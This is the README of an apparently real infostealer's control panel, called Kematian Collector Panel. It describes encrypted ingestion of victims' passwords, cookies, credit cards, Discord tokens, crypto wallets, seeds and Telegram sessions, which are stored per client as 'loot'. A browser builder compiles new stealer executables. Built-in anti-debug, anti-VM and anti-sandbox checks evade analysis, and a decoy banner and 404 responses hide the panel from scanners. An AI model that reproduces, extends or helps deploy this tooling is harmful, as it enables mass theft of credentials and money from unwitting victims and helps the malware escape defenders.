160 lines
7.2 KiB
Markdown
160 lines
7.2 KiB
Markdown
# Kematian Collector Panel
|
||
|
||
Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent.
|
||
|
||
## Setup
|
||
|
||
```bash
|
||
cd panel
|
||
pip install -r requirements.txt
|
||
python app.py
|
||
```
|
||
|
||
Open `http://localhost:5000/setup` to create the admin account, then log in.
|
||
|
||
Configure via env before running:
|
||
|
||
| Env var | Default | Purpose |
|
||
|---------------------|------------------------------------------|----------------------------------|
|
||
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
|
||
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
|
||
| `PANEL_PORT` | `5000` | Bind port |
|
||
|
||
**Change both secrets before exposing the panel.**
|
||
|
||
## E2EE
|
||
|
||
Agent → panel traffic is end-to-end encrypted. On first run the panel generates
|
||
an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves
|
||
the panel; only its **public key** is needed by the agent.
|
||
|
||
**The agent fetches that public key itself at runtime** — so at build time you
|
||
only set the endpoint + ingest key. You never copy a key manually. The panel
|
||
serves it over:
|
||
|
||
```http
|
||
GET /e2ee/pub
|
||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||
```
|
||
|
||
Wire scheme (agent encrypts, panel decrypts):
|
||
`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`.
|
||
Only the panel private key can decrypt the payload.
|
||
|
||
## Ingest API
|
||
|
||
The agent encrypts its `CollectionResult` and POSTs `{"enc": "<base64 ciphertext>"}`
|
||
to `/api/ingest` with `Authorization: Bearer <PANEL_INGEST_KEY>`. The panel
|
||
decrypts and splits every category into its own SQLite table.
|
||
|
||
```http
|
||
POST /api/ingest
|
||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||
Content-Type: application/json
|
||
|
||
{ "enc": "base64..." }
|
||
```
|
||
|
||
Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct:
|
||
`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards,
|
||
discordTokens, files, extensions, wallets, telegram, keys, appCredentials,
|
||
gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything
|
||
else is flattened per row.
|
||
|
||
The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam
|
||
login files) as `payloads: [{category, name, filename, size, data(base64)}]`.
|
||
The panel writes these to `panel/loot/<client_id>/` and tracks them in the
|
||
`blobs` table, so they're persisted as a backup and downloadable from the UI.
|
||
|
||
## Privacy & hardening
|
||
|
||
The panel is not meant to be discovered or probed by randoms:
|
||
|
||
- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct
|
||
`PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners.
|
||
- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks
|
||
ingress IPs outside your allowlist with 404.
|
||
- **Login brute-force throttle** — an IP gets 429 after too many attempts in a
|
||
window.
|
||
- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`,
|
||
`Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner.
|
||
- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty =
|
||
unrestricted (still gated by creds/rate-limit).
|
||
|
||
Additional env:
|
||
|
||
| Env var | Default | Purpose |
|
||
|-----------------------|-------------------------------|------------------------------------------|
|
||
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login |
|
||
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
|
||
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
|
||
| `PANEL_DECOY_NAME` | `nginx` | Server banner value |
|
||
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form |
|
||
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Path to the agent Go source tree |
|
||
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored |
|
||
|
||
## Wiring the agent
|
||
|
||
The agent collects the data in `native/recovery/exfil/panel.go`. Set two things
|
||
(either edit the vars or use `final/build_final.bat`):
|
||
|
||
- `PanelEndpoint` – the panel's `/api/ingest` URL
|
||
- `PanelAuth` – the `PANEL_INGEST_KEY`
|
||
|
||
The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing
|
||
else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus
|
||
the panel endpoint + auth key, injects them at build time, then restores sources.
|
||
|
||
## Web builder
|
||
|
||
The panel can build the agent entirely from the browser at **`/build`**:
|
||
|
||
1. Enter the panel endpoint + ingest key, optional Telegram bot/chat.
|
||
2. Enter a build name.
|
||
3. Click **Build agent** — the panel copies the native Go tree to a temp dir,
|
||
patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram),
|
||
runs `go build`, and drops the `.exe` in `builds/`.
|
||
4. Watch the live log, then **Download** the fresh agent.
|
||
|
||
The server needs `go` installed (and the agent source tree present at
|
||
`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified —
|
||
it's copied, patched, and built in a temp dir. Built files are kept under
|
||
`BUILDER_OUTPUT_DIR` and served at `/build/download/<name>.exe`.
|
||
|
||
### Anti-analysis guard
|
||
|
||
Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that
|
||
runs inside the injected DLL before the payload starts. It scores the environment
|
||
and refuses to run on analysis hosts:
|
||
|
||
- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags,
|
||
`NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC
|
||
timing (breakpoint/single-step detection).
|
||
- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/
|
||
QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics.
|
||
- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA,
|
||
procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers.
|
||
|
||
Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`.
|
||
The web builder recompiles the Rust extractor before each `go build`; the local
|
||
`final/build_final.bat` does the same. `Cargo` must be installed and the
|
||
`x86_64-pc-windows-gnu` target present.
|
||
|
||
## Pages
|
||
|
||
- `/` – dashboard with per-category stats + hosted-files count + recent clients
|
||
- `/clients` – all reporting agents
|
||
- `/client/<id>` – per-client data breakdown, link to its files
|
||
- `/client/<id>/loot` – that client's hosted login files (wallet/Steam/Telegram)
|
||
- `/client/<id>/loot/<id>/download` – download one hosted file
|
||
- `/client/<id>/loot/zip` – download all of that client's files as one backup zip
|
||
- `/loot` – every hosted file across all clients
|
||
- `/build` – build a fresh agent from the browser (panel + Telegram config)
|
||
- `/cat/<category>` – each data type on its own page with an icon
|
||
- `/search` – search across passwords, cookies, tokens
|
||
- `/api/raw/<category>` – raw JSON dump (admin auth required)
|
||
|
||
Categories: passwords, cookies, autofill, history, bookmarks, credit_cards,
|
||
discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds,
|
||
gaming, vpns.
|